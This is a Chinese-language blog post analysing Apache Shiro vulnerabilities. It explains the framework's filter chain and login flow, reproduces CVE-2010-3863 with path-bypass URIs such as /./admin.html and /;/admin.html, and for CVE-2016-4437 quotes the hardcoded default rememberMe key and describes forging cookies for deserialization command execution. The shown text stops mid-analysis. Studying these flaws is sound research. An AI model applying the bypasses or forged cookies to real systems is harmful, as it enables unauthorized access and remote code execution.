Shiro漏洞分析

前言

这篇文章分析Shiro的所有历史漏洞分析,由于12月考试月并无太多时间复现分析,暂时上传一部分。

进度:

CVE ID 进度
CVE-2010-3863
CVE-2014-0074
CVE-2016-4437(Shiro-550)
CVE-2016-6802
CVE-2019-12422(Shiro-721
CVE-2020-1957(Shiro-682的绕过)
CVE-2020-11989
CVE-2020-13933
CVE-2020-17510
CVE-2020-17523
CVE-2022-32532
CVE-2022-40664
CVE-2023-22602
CVE-2023-34478
CVE-2023-46749
CVE-2023-46750

框架简介

就十分简略说一下吧,具体体关于Shiro的框架的知识可以看Shiro官方文档:Apache Shiro Reference Documentation | Apache Shiro。觉得看英文费劲可以看该中文文档:Apache Shiro 中文文档

Apache Shiro 是一个功能强大的易于使用的 Java 安全框架,主要用于处理以下四个核心方面:身份验证(Authentication)、授权(Authorization)、会话管理(Session Management)和加密(Cryptography)。

典型架构:
Shiro 的一个典型应用包括以下组件:

  • Subject: 代表当前用户的安全操作者。
  • SecurityManager: 核心接口,Shiro 的所有安全操作都通过它来协调。
  • Realm: 用于从数据存储中获取安全数据(如用户、角色和权限信息),类似于桥梁。

框架流程

那么还是说明一下框架的一个流程,熟悉的同学可以跳过该部分哦。我将其分为初始化流程和启动之后拦截过滤的流程。

初始化流程

先简单说一下大致一个流程

  1. 创建 Shiro 配置

  2. 创建 Shiro 的 SecurityManager

  3. 注册 Realm

  4. 配置 Filter

  5. 启动 Shiro

用朋友的一句话

所有的开始,都是从配置开始,配置的方式主要有两种:编程式配置,配置文件读取与解析(利用反射机制,调用构造函数,setter,getter),初始化的对象,主要是SecurityManager

由于我的环境主要用到了shiro-spring这个依赖包,是 Apache Shiro 项目为 Spring 框架提供的支持模块。因此配置可以写在java文件里,而无需shiro.ini。代码参考:Java Shiro 权限绕过多漏洞分析 | Drunkbaby’s Blog

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
@Configuration
public class ShiroConfig {
// 创建 ShiroFilterFactoryBean
@Bean
public ShiroFilterFactoryBean getShiroFilterFactoryBean(@Qualifier("securityManager") DefaultWebSecurityManager securityManager) {
ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean();
shiroFilterFactoryBean.setSecurityManager(securityManager);
Map<String, String> filterMap = new LinkedHashMap<String, String>();
filterMap.put("/user/*", "authc");
shiroFilterFactoryBean.setFilterChainDefinitionMap(filterMap);
shiroFilterFactoryBean.setLoginUrl("/toLogin");
return shiroFilterFactoryBean;
}


// 创建 DefaultWebSecurityManager
@Bean(name = "securityManager")
public DefaultWebSecurityManager getDefaultWebSecurityManager(@Qualifier("userRealm") UserRealm userRealm) {
DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
securityManager.setRealm(userRealm);
return securityManager;
}

// 创建 realm 对象
@Bean
public UserRealm userRealm() {
return new UserRealm();
}
}

上面的一个Shiro的配置类,我们是定义了三个bean。在默认情况下,Spring 初始化 Bean 的顺序通常是由依赖关系决定的。

**userRealmBean**:userRealm 是一个独立的 Bean,没有依赖其他 Bean,因此它将首先被创建。

**securityManager Bean**:securityManager Bean 依赖于 userRealm,因为它在构造时将 userRealm 作为参数传递。Spring 在创建 securityManager Bean 时会先实例化 userRealm,然后将它注入到 securityManager 中。

**shiroFilterFactoryBean Bean**:shiroFilterFactoryBean 依赖于 securityManager。在创建此 Bean 时,Spring 会先确保 securityManager 已经被创建并初始化,然后再将其注入到 shiroFilterFactoryBean 中。

因此,Bean 的初始化顺序为:

  1. userRealm → 首先被初始化。
  2. securityManager → 依赖于 userRealm ,在 userRealm 初始化后初始化。
  3. shiroFilterFactoryBean → 依赖于 securityManager ,在 securityManager 初始化后初始化。

userRealm

没啥好说的,继承自 Shiro 提供的 AuthorizingRealm 类,可以利用 Shiro 的内置方法进行认证和授权。比如通过重写的 doGetAuthorizationInfodoGetAuthenticationInfo 方法,访问数据库,获取认证信息,并通过shiro的api进行认证或授权。正如之前所说 Realm 用于从数据存储中获取安全数据(如用户、角色和权限信息)。

image-20241109030234509|450

securityManager

在方法中创建 DefaultWebSecurityManager 实例。设置其关联的 Realm 。这里主要是通过 securityManager.setRealm(userRealm); 语句,将自定义的 UserRealm 配置到 SecurityManager 中。

shiroFilterFactoryBean

这个就值得好好说一说了。首先我们这是配置了一个集成 Apache Shiro 安全框架的过滤器工厂 Bean。ShiroFilterFactoryBean实现了 Spring 的 FactoryBean 接口。 FactoryBean 提供了一种创建复杂或动态 Bean 实例的机制,允许延迟和定制实例化过程。通过实现 FactoryBeanShiroFilterFactoryBean 可以通过重写 getObject() 方法来返回实际需要在 Spring 上下文中使用的对象,而不仅仅是 ShiroFilterFactoryBean 自身。在这里,我们可以追到 createInstance() 方法,发现返回的是 SpringShiroFilter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public Object getObject() throws Exception {
if (this.instance == null) {
this.instance = this.createInstance();
}

return this.instance;
}

......

protected AbstractShiroFilter createInstance() throws Exception {
......
return new SpringShiroFilter((WebSecurityManager)securityManager, chainResolver);

}

image-20241109150817355

我们先整体看 SpringShiroFilter 类,是一个过滤器,继承了 javax.servlet.Filter,在Spring初始化的时候,会遍历每个Bean,并获取该Bean的 description(描述),而 SpringShiroFilter,由于继承关系,其描述为 filter getShiroFilterFactoryBean,可以看到前缀是filter,标识其为一个过滤器。然后会将其注册到Web应用程序上下文(ServletContext)中。

image-20241109160837114

image-20241109172730069

然后在org.apache.catalina.core.StandardContext#addFilterMapBefore中将过滤器的映射规则添加到应用程序中的映射集合中。可以看到SpringShiroFilterurlPatterns属性是/*,即希望所有的请求都会通过该过滤器。因此我们所有的请求都会在shiro的过滤器中进行二次处理。

image-20241109173444914

接着我们在细看 SpringShiroFilter 类的内部,前面提到了其实例化是通过调用重写的 FactoryBean 接口的 getObject 方法得到的。并且具体代码是在 getObject 方法调用的 createInstance 方法中,因此关注 ShiroFilterFactoryBean#createInstance 方法。那么提取出完整的该函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected AbstractShiroFilter createInstance() throws Exception {
log.debug("Creating Shiro Filter instance.");
SecurityManager securityManager = this.getSecurityManager();
String msg;
if (securityManager == null) {
msg = "SecurityManager property must be set.";
throw new BeanInitializationException(msg);
} else if (!(securityManager instanceof WebSecurityManager)) {
msg = "The security manager does not implement the WebSecurityManager interface.";
throw new BeanInitializationException(msg);
} else {
FilterChainManager manager = this.createFilterChainManager();
PathMatchingFilterChainResolver chainResolver = new PathMatchingFilterChainResolver();
chainResolver.setFilterChainManager(manager);
return new SpringShiroFilter((WebSecurityManager)securityManager, chainResolver);
}
}

可以看到在构造SpringShiroFilter类的时候,调用其构造函数传入二楼两个变量,securityManagerchainResolversecurityManager 就是当前类的securityManager 属性,在我们的Shiro配置类中初始化的时候就设置了,其值就是Shiro配置类中我们设置的securityManager Bean的实例。如下:

1
2
3
4
5
6
7
// 创建 DefaultWebSecurityManager
@Bean(name = "securityManager")
public DefaultWebSecurityManager getDefaultWebSecurityManager(@Qualifier("userRealm") UserRealm userRealm) {
DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
securityManager.setRealm(userRealm);
return securityManager;
}

chainResolver是一个PathMatchingFilterChainResolver类,大概意思是路径匹配过滤器链解析器。类图如下,初始化的时候会设置filterChainManager属性,当然如果初始化调用的是是无参构造函数,就会new一个FilterChainManager对象,不过后续任然可以调用其setFilterChainManager方法来设置自己配置的FilterChainManager对象。

image-20241109225015958

chainResolver就是通过setFilterChainManager方法设置filterChainManager的。具体的值是通过createFilterChainManager方法来获取的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
protected FilterChainManager createFilterChainManager() {
DefaultFilterChainManager manager = new DefaultFilterChainManager();
Map<String, Filter> defaultFilters = manager.getFilters();
Iterator var3 = defaultFilters.values().iterator();

while(var3.hasNext()) {
Filter filter = (Filter)var3.next();
this.applyGlobalPropertiesIfNecessary(filter);
}

Map<String, Filter> filters = this.getFilters();
String name;
Filter filter;
if (!CollectionUtils.isEmpty(filters)) {
for(Iterator var10 = filters.entrySet().iterator(); var10.hasNext(); manager.addFilter(name, filter, false)) {
Map.Entry<String, Filter> entry = (Map.Entry)var10.next();
name = (String)entry.getKey();
filter = (Filter)entry.getValue();
this.applyGlobalPropertiesIfNecessary(filter);
if (filter instanceof Nameable) {
((Nameable)filter).setName(name);
}
}
}

Map<String, String> chains = this.getFilterChainDefinitionMap();
if (!CollectionUtils.isEmpty(chains)) {
Iterator var12 = chains.entrySet().iterator();

while(var12.hasNext()) {
Map.Entry<String, String> entry = (Map.Entry)var12.next();
String url = (String)entry.getKey();
String chainDefinition = (String)entry.getValue();
manager.createChain(url, chainDefinition);
}
}

return manager;
}

首先是创建默认的过滤器链管理器,初始化的时候,会把shiro的默认过滤器的Class对象都添加进去。

image-20241110010711879

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public enum DefaultFilter {
anon(AnonymousFilter.class),
authc(FormAuthenticationFilter.class),
authcBasic(BasicHttpAuthenticationFilter.class),
authcBearer(BearerHttpAuthenticationFilter.class),
logout(LogoutFilter.class),
noSessionCreation(NoSessionCreationFilter.class),
perms(PermissionsAuthorizationFilter.class),
port(PortFilter.class),
rest(HttpMethodPermissionFilter.class),
roles(RolesAuthorizationFilter.class),
ssl(SslFilter.class),
user(UserFilter.class);

......
}

然后遍历每个过滤器,对其调用applyGlobalPropertiesIfNecessary方法,将每个过滤器应用全局属性。简单来说就是通过查看当前 URL 的设置是否为默认值或未设置,来决定是否应用一些全局配置的 URL。比如我修改某个url,就会遍历过滤器。这样所有相关的过滤器都会一起调整设置。我们设置的LoginUrl是/toLogin,可以看到会把所有相关过滤器的LoginUrl/login.jsp设置成/toLogin

image-20241110020033445

然后回到ShiroFilterFactoryBean#createFilterChainManager,检查其filters属性是否为空,这里是空,直接跳过if语句,刚刚我们只是处理了从默认过滤器链管理器得到的过滤器。接着获取过滤器链定义映射。对应我们前面这两行代码:

1
2
filterMap.put("/user/*", "authc");
shiroFilterFactoryBean.setFilterChainDefinitionMap(filterMap);

因此获取到的就是{/user/*=authc}这个Map,获取到键和值,将authc对应的过滤器与/user/*路径包装起来。这样才算完成一个过滤链管理器FilterChainManager的初始化,其属性不仅有Shiro的默认过滤器,还将过滤器和url包装在了一起。

image-20241110025149268

将路径匹配过滤器链解析器chainResolverFilterChainManager属性设置为刚刚创建出来的过滤链管理器manager。然后就是我们最开始提到的securityManagerchainResolver设置进SpringShiroFilter了。

过滤流程

关于Tomcat Filter的一些知识可以参考:JAVA内存马系列 - cmisl_破站

那么Tomcat会调用过滤链filterChaindoFilter方法,从第一个过滤器的doFilter链式调用下去。而过滤器链filterChain的创建是从filterMaps获取过滤器的名称,再用名称去上下文得到对应过滤器的配置去生成的。

image-20241110040841149

由前面初始化流程的分析,我们的SpringShiroFilter会被配置进filterMaps,那么在过滤链中也有其一席之地。所以,在链式调用doFilter时,也会调到SpringShiroFilter。而由于其本身没有doFilter方法,所以会调到其父类的父类OncePerRequestFilterdoFilter方法中。

image-20241110041134055

OncePerRequestFilter#doFilter方法调用doFilterInternal方法,SpringShiroFilter又没有,而其父类有,那就调到了其父类,也是一个抽象类的AbstractShiroFilter#doFilterInternal中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected void doFilterInternal(ServletRequest servletRequest, ServletResponse servletResponse, final FilterChain chain) throws ServletException, IOException {
Throwable t = null;

try {
final ServletRequest request = this.prepareServletRequest(servletRequest, servletResponse, chain);
final ServletResponse response = this.prepareServletResponse(request, servletResponse, chain);
Subject subject = this.createSubject(request, response);
subject.execute(new Callable() {
public Object call() throws Exception {
AbstractShiroFilter.this.updateSessionLastAccessTime(request, response);
AbstractShiroFilter.this.executeChain(request, response, chain);
return null;
}
});
}
......
}

从请求中创建一个subject,代表当前会话,然后调用execute进行可执行操作。接着就是一顺调用,直到AbstractShiroFilter#getExecutionChain

1
2
3
4
5
6
7
8
9
10
11
protected FilterChain getExecutionChain(ServletRequest request, ServletResponse response, FilterChain origChain) {
FilterChain chain = origChain;
FilterChainResolver resolver = this.getFilterChainResolver();
if (resolver == null) {
log.debug("No FilterChainResolver configured. Returning original FilterChain.");
return origChain;
} else {
......
return chain;
}
}

获取过滤链解析器resolver,其值正是初始化时的 chainResolver。是一个PathMatchingFilterChainResolver类,因此顺着来到了PathMatchingFilterChainResolver#getChain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public FilterChain getChain(ServletRequest request, ServletResponse response, FilterChain originalChain) {
FilterChainManager filterChainManager = this.getFilterChainManager();
if (!filterChainManager.hasChains()) {
return null;
} else {
String requestURI = this.getPathWithinApplication(request);
if (requestURI != null && !"/".equals(requestURI) && requestURI.endsWith("/")) {
requestURI = requestURI.substring(0, requestURI.length() - 1);
}

Iterator var6 = filterChainManager.getChainNames().iterator();

String pathPattern;
do {
if (!var6.hasNext()) {
return null;
}

pathPattern = (String)var6.next();
if (pathPattern != null && !"/".equals(pathPattern) && pathPattern.endsWith("/")) {
pathPattern = pathPattern.substring(0, pathPattern.length() - 1);
}
} while(!this.pathMatches(pathPattern, requestURI));

if (log.isTraceEnabled()) {
log.trace("Matched path pattern [" + pathPattern + "] for requestURI [" + Encode.forHtml(requestURI) + "]. Utilizing corresponding filter chain...");
}

return filterChainManager.proxy(originalChain, pathPattern);
}
}

上面这段代码首先获取一个filterChainManager,同样,值是我们初始化SpringShiroFilter时的securityManager参数。然后会获取请求url,然后经过一个简单的判断保证url不以/符号结尾(根目录除外)。遍历 filterChainManager 中所有的路径模式,寻找与 requestURI 匹配的路径模式。路径匹配是通过调用 pathMatches(pathPattern, requestURI) 方法来实现。具体可以追到AntPathMatcher#doMatch方法中。

然后匹配成功调用filterChainManager.proxy(originalChain, pathPattern)第一个参数是原始过滤连,第二个是匹配到的路径。比如我访问/user/add,而由我们前面的配置,访问/user/*会进入authc对应的过滤器,即FormAuthenticationFilter。所以我们会匹配到/user/*这个路径,因此进入这个方法。

1
2
3
4
5
6
7
8
9
`public FilterChain proxy(FilterChain original, String chainName) {
NamedFilterList configured = this.getChain(chainName);
if (configured == null) {
String msg = "There is no configured chain under the name/key [" + chainName + "].";
throw new IllegalArgumentException(msg);
} else {
return configured.proxy(original);
}
}

根据匹配的路径获取与其相关联的 NamedFilterList,这是一个过滤器列表,代表了一组有序的过滤器。据此去SimpleNamedFilterList#proxy获取一个代理过滤链,封装了原始过滤链和匹配路径与其过滤器。

image-20241110051141163

返回后调用其doFiler方法。并在其中调用FormAuthenticationFilter的doFilter方法。此时也是成功调到对应的Shiro过滤器了。

image-20241110051307654

登录流程(个人补充)

在复现CVE-2016-4437(Shiro-550反序列化漏洞)的时候,想了解一下正常登录的流程,于是补充了这里的内容,因此用到的环境也是shiro-spring1.2.4。

经过过滤器过滤之后,请求就会被Springboot的serlvet处理,而我们是登录请求,根据接口就会来到UserController#doLoginPage方法。用user、password、rememberMe创建token后,用org.apache.shiro.subject.support.DelegatingSubject#login方法进行登录处理。可以顺着直接来到org.apache.shiro.mgt.DefaultSecurityManager#login方法。

image-20241116044713568

当前的subject只是一个对于http请求的subject,只是用来处理了访问路径权限调用过滤器的。现在就需要用它作为参数,创造一个新的subject,而创造出来的这个新的subject是通过身份验证后创建或更新的,表示一个已认证的用户。

image-20241116045141943

创建一个 SubjectContext,设置了一些认证信息。使用重写的 createSubject 方法根据 SubjectContext 创建并返回一个新的 Subject 对象。又是一顿解析认证信息,我们可以关注一些对Principals的解析,因为Shiro550就是该值的反序列化问题。

image-20241116050848822

从身份验证信息中提取Principals。后续就是调用org.apache.shiro.web.mgt.DefaultWebSubjectFactory#createSubject,将解析过后的context作为参数,通过再一次解析,new一个subject出来。

image-20241116051214288

回到org.apache.shiro.mgt.DefaultSecurityManager#login方法,调用onSuccessfulLogin,用于处理登录后的一些操作。我们直接来到关键部分。调用序列化器去序列化Principals。并且将序列化的结果用encrypt方法加密之后再返回。

image-20241116052014077

序列化的结果拿去Base64编码然后设置为Cookie。该类时CookieRememberMeManager,初始化的时候cookiename就是rememberMe。所以赋值的就是赋给了rememberMe

image-20241116053021719

加密的过程中,可以看到我们会用getEncryptionCipherKey()方法获得秘钥,也就是当前类的encryptionCipherKey属性。它是怎么来的呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
protected byte[] encrypt(byte[] serialized) {
byte[] value = serialized;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
value = byteSource.getBytes();
}
return value;
}

public byte[] getEncryptionCipherKey() {
return encryptionCipherKey;
}

我从当前类截取了下面部分代码,那么其实就很清楚了。代码会有一个默认的Shiro秘钥,当前类初始化的时候就会通过setCipherKey方法吧加解密秘钥都设置为默认秘钥。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
private byte[] encryptionCipherKey;
private byte[] decryptionCipherKey;

public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}

public void setCipherKey(byte[] cipherKey) {
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
}

public void setEncryptionCipherKey(byte[] encryptionCipherKey) {
this.encryptionCipherKey = encryptionCipherKey;
}

Shiro历史漏洞

官网漏洞报告:Security Reports | Apache Shiro

CVE-2010-3863

Apache Shiro before 1.1.0, and JSecurity 0.9.x, does not canonicalize URI paths before comparing them to entries in the shiro.ini file, which allows remote attackers to bypass intended access restrictions via a crafted request, as demonstrated by the /./account/index.jsp URI.

漏洞信息

影响版本:shiro < 1.1.0JSecurity 0.9.x

漏洞成因:没有对URI路径进行标准化处理(即未进行规范化),这使得远程攻击者可以通过构造特定的请求来绕过预期的访问限制。

漏洞补丁:https://github.com/apache/shiro/commit/ab8294940a19743583d91f0c7e29b405d197cc34

漏洞环境

先新建一个Springboot模块,导入依赖

1
2
3
4
5
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.0.0-incubating</version>
</dependency>

部分代码参考:vulnEnv/CVE-2010-3863(shiro)/ShiroDemo at main · dota-st/vulnEnv

shiro.ini

1
2
3
4
5
6
7
8
9
10
[users]
# 用户名=密码,角色
admin=admin123,admin
user=user123,user

[roles]
# 角色=权限
admin=*
user=read,write

ShiroConfig.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
@Configuration
public class ShiroConfig {

@Bean
public SecurityManager securityManager(Realm realm) {
DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
securityManager.setRealm(realm);
return securityManager;
}

@Bean
public ShiroFilterFactoryBean shiroFilter(SecurityManager securityManager) {
ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean();
shiroFilterFactoryBean.setSecurityManager(securityManager);

// 配置登录和未授权的页面
shiroFilterFactoryBean.setLoginUrl("/login");
shiroFilterFactoryBean.setUnauthorizedUrl("/unauthorized");

// 配置路径权限
Map<String, String> filterChainDefinitionMap = new LinkedHashMap<>();
filterChainDefinitionMap.put("/admin.html", "authc, roles[admin]");
filterChainDefinitionMap.put("/admin/**", "authc, roles[admin]");
filterChainDefinitionMap.put("/user.html", "authc, roles[user]");
filterChainDefinitionMap.put("/user/**", "authc, roles[user]");
filterChainDefinitionMap.put("/**", "anon");

shiroFilterFactoryBean.setFilterChainDefinitionMap(filterChainDefinitionMap);

return shiroFilterFactoryBean;
}

// 配置 IniRealm
@Bean
public IniRealm getIniRealm() {

return new IniRealm("classpath:shiro.ini");
}
}

文件结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
main
├─java
│ └─cmisl
│ │ Cve20103863Application.java
│ │
│ └─Shiro
│ ShiroConfig.java
│ ShiroUtil.java
│ UserController.java

└─resources
│ application.properties
│ shiro.ini

└─static
admin.html
home.html
index.html
login.html
unauthorized.html
user.html

所有的具体代码随后放在github上

漏洞复现

根据我们的配置,我们访问/admin/**/admin.html都是需要认证admin权限的。当我们访问的时候就会重定向到登录页面,需要我们完成认证,之后再去访问/admin.html才会显示内容。

image-20241111023900750

如果没有认证,我们去访问需要认证的资源/页面,就会出现302跳转让我们去登录。

image-20241111024023954

而根据该漏洞POC,我们将/admin.html改为/./admin.html即可访问到资源。

image-20241111024156922

漏洞分析

从上面的分析可以知道,通过匹配url确定过滤器,上面的poc很显然试试通过url绕过匹配,从而跳过过滤器的过滤。url的匹配开始于org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain方法。可以直接打上断点。

首先把请求作为参数调用PathMatchingFilterChainResolver#getPathWithinApplication方法获取请求url。其中涉及的调用堆栈如下:

1
2
3
4
5
6
decode:168, URLDecoder (java.net)
decodeRequestString:194, WebUtils (org.apache.shiro.web.util)
decodeAndCleanUriString:151, WebUtils (org.apache.shiro.web.util)
getRequestUri:140, WebUtils (org.apache.shiro.web.util)
getPathWithinApplication:112, WebUtils (org.apache.shiro.web.util)
getPathWithinApplication:147, PathMatchingFilterChainResolver (org.apache.shiro.web.filter.mgt)

其中我比较关注的方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
protected String getPathWithinApplication(ServletRequest request) {
return WebUtils.getPathWithinApplication(WebUtils.toHttp(request));
}

public static String getPathWithinApplication(HttpServletRequest request) {
String contextPath = getContextPath(request);
String requestUri = getRequestUri(request);
if (StringUtils.startsWithIgnoreCase(requestUri, contextPath)) {
String path = requestUri.substring(contextPath.length());
return StringUtils.hasText(path) ? path : "/";
} else {
return requestUri;
}
}

private static String decodeAndCleanUriString(HttpServletRequest request, String uri) {
uri = decodeRequestString(request, uri);
int semicolonIndex = uri.indexOf(59);
return semicolonIndex != -1 ? uri.substring(0, semicolonIndex) : uri;
}

......

public static String decode(String s, String enc)
......
while (i < numChars) {
c = s.charAt(i);
switch (c) {
case '+':
sb.append(' ');
i++;
needToChange = true;
break;
case '%':
......
//处理 URL 编码(即将某些字符转换为 %xy 形式,其中 xy 是字符的十六进制 ASCII 值)
......
needToChange = true;
break;
default:
sb.append(c);
i++;
break;
}
}

return (needToChange? sb.toString() : s);
}

我省略了一些代码,详细代码可以自己跟进对应的方法。上面的一系列方法中,可以看到,我们会先用URLDecoder#decode解码。比如如果遇到了+号,就会替换为空格,还有百分号%,会进行URL解码。然后到decodeAndCleanUriString方法,uri.indexOf(59)代码会去获取该url中ascii码为59对应符号的索引,然后只返回分号;前面的url。

所以其实分析到这里,我们似乎可以用另一个方式绕过,比如访问/;/admin.html,只要分号在tomcat服务器的代码中不被影响,就会获取到/路径,从而匹配到的是anon对应的过滤器,即匿名访问过滤器AnonymousFilter,可以直接访问需要Shiro鉴权认证的资源和路径了。

image-20241111132030159

image-20241111132102144

我们再来继续关注/./admin.html。这个url会被完整提取,主要在AntPathMatcher#doMatch进行详细匹配,具体调用堆栈如下:

1
2
3
4
5
doMatch:112, AntPathMatcher (org.apache.shiro.util)
match:93, AntPathMatcher (org.apache.shiro.util)
matches:89, AntPathMatcher (org.apache.shiro.util)
pathMatches:135, PathMatchingFilterChainResolver (org.apache.shiro.web.filter.mgt)
getChain:106, PathMatchingFilterChainResolver (org.apache.shiro.web.filter.mgt)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
protected boolean doMatch(String pattern, String path, boolean fullMatch) {
if (path.startsWith(this.pathSeparator) != pattern.startsWith(this.pathSeparator)) {
return false;
}

String[] pattDirs = StringUtils.tokenizeToStringArray(pattern, this.pathSeparator);
String[] pathDirs = StringUtils.tokenizeToStringArray(path, this.pathSeparator);

int pattIdxStart = 0;
int pattIdxEnd = pattDirs.length - 1;
int pathIdxStart = 0;
int pathIdxEnd = pathDirs.length - 1;

// Match all elements up to the first **
while (pattIdxStart <= pattIdxEnd && pathIdxStart <= pathIdxEnd) {
String patDir = pattDirs[pattIdxStart];
if ("**".equals(patDir)) {
break;
}
if (!matchStrings(patDir, pathDirs[pathIdxStart])) {
return false;
}
......
}
......
}

首先会根据/符号分解URL为数组,/admin.html分解为[admin.html]/./admin.html分解为[".", "admin.html"]。然后会去比较分解出来的数组,匹配所有元素直到第一个 **,然后这两个数组,第一个元素就不相等,因此直接返回false。代表匹配失败,所以,不会匹配上/admin.html对应的Shiro过滤器。从而使得Shiro设置的权限检查失效。

漏洞修复

Normalize requestURI in getRequestURI using normalize() operations or… · apache/shiro@ab82949

删除了decodeAndCleanUriString方法替换为normalize方法,根据注释很容易理解该方法用于规范化可能包含相对值(如 “/./”“/../” 等)的相对 URI 路径。同时因为没有了decodeAndCleanUriString方法,所有/;/admin.html也不行了,因为取分号前面路径的处理操作在decodeAndCleanUriString方法中。

image-20241114102939433

参考链接

Shiro 历史漏洞分析 - 先知社区

CVE-2016-4437(Shiro-550反序列化漏洞)

Apache Shiro before 1.2.5, when a cipher key has not been configured for the “remember me” feature, allows remote attackers to execute arbitrary code or bypass intended access restrictions via an unspecified request parameter.

漏洞信息

影响版本:shiro 1.x < 1.2.5

漏洞成因:密钥被硬编码在shiro组件中,如果秘钥泄露或者被爆破出来,将会导致rememberMe参数反序列化漏洞。

漏洞补丁:Force RememberMe cipher to be set to survive JVM restart. · apache/shiro@4d5bb00

漏洞环境

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

前置知识

漏洞描述提到该漏洞与RememberMe配置有关,那么我们这里补充一些该部分的知识。

RememberMe 允许用户在下次访问时无需再次登录。它通过在用户的设备上存储一个持久化的标识符(通常是一个 cookie)来实现。这个标识符可以在再次访问时用于自动登录。

我们全局搜索RememberMe,找到与其相关的类如下:

RememberMeManager

这个类(org.apache.shiro.mgt.RememberMeManager)是一个用于管理用户身份记住(Remember Me)功能的接口。下面是该接口提供的方法:

  1. 获取记住的身份
    • getRememberedPrincipals(SubjectContext subjectContext):根据提供的主题上下文,返回先前记住的用户身份。如果没有记住的身份,则返回 null
  2. 遗忘身份
    • forgetIdentity(SubjectContext subjectContext):根据提供的主题上下文,遗忘与该上下文对应的用户身份信息。
  3. 处理成功的身份验证
    • onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info):在用户成功登录后,调用该方法以保存用户的身份信息。
  4. 处理失败的身份验证
    • onFailedLogin(Subject subject, AuthenticationToken token, AuthenticationException ae):在用户登录失败时,调用该方法以忘记先前记住的身份信息。
  5. 处理登出
    • onLogout(Subject subject):在用户登出时调用该方法,忘记与用户相关的身份信息。
AbstractRememberMeManager

org.apache.shiro.mgt.AbstractRememberMeManager 接口是 RememberMeManager 接口的一个抽象实现。它提供了一些字段和方法,以便于记住用户身份(“RememberMe”)功能的实现。以下是该类的关键的功能及其结构的介绍:

主要字段
  • DEFAULT_CIPHER_KEY_BYTES 是一个默认的 Base64 编码 AES 密钥。也就是漏洞描述中提到的密钥。

  • serializer:Shiro 的序列化器,用于将 PrincipalCollection 实例转换为/转换为字节数组的序列器。默认情况下,它使用 DefaultSerializer,但可以通过 setSerializer 方法提供自定义序列化器。

关键方法
  • rememberIdentity: 记住指定的身份信息。
  • getRememberedPrincipals: 根据上下文检索已记住的身份信息。
  • forgetIdentity: 从持久存储中删除身份信息。
  • isRememberMe: 检查身份验证令牌是否请求“记住我”功能。
CookieRememberMeManager

org.apache.shiro.web.mgt.CookieRememberMeManagerAbstractRememberMeManager的实现类, 通过将用户的身份信息(SubjectgetPrincipals() 返回的结果)序列化并存储在一个 Cookie 中来实现“记住我”功能。下次用户访问时,可以从 Cookie 中恢复用户身份。

相关方法
  • **rememberSerializedIdentity(Subject subject, byte[] serialized)**:
    • 该方法将序列化的用户身份信息(字节数组)进行 Base64 编码后,设置为 Cookie 的值。它首先检查给定的 Subject 是否是 HTTP-aware 的实例(即是否具有 HTTP 请求和响应),然后通过 HTTP 响应将 Cookie 设置为包含编码后的身份信息。
  • **getRememberedSerializedIdentity(SubjectContext subjectContext)**:
    • 该方法从 HTTP Cookie 中获取之前存储的身份信息,进行 Base64 解码并返回字节数组。

漏洞复现

这个漏洞不需要正确的账号密码,也不需要登录,但是为了获取需要的数据包,我们先要来正确登录一下。记得勾选Remember me选项。

image-20241116002949717

登录之后,我们的返回包是一个302跳转,会让我们跳转到登录成功的页面去,同时会设置Cookie,分别设置了JSESSIONIDrememberMe参数。

image-20241116002658631

我们再访问登录页面,数据包如下,可以看到是携带Cookie的,这个数据包就是我们需要的,我们可以通过Shiro默认秘钥构造恶意编码,触发反序列化漏洞执行命令。

image-20241116003630399

那么我们现在重启Springboot,清理缓存,重新发送该数据包。

image-20241116004229344

成功执行,并且无需正确的账号密码,只需要秘钥,构造恶意rememberMe值即可。

漏洞分析

我们要注意的是每一次发起请求的时候,都会来到org.apache.shiro.web.servlet#doFilterInternal,在前面的分析中很容易知道,而这个方法中会根据当前请求去创建一个subject,我们当时注意的是下面的代码,而现在我们关注的是createSubject方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
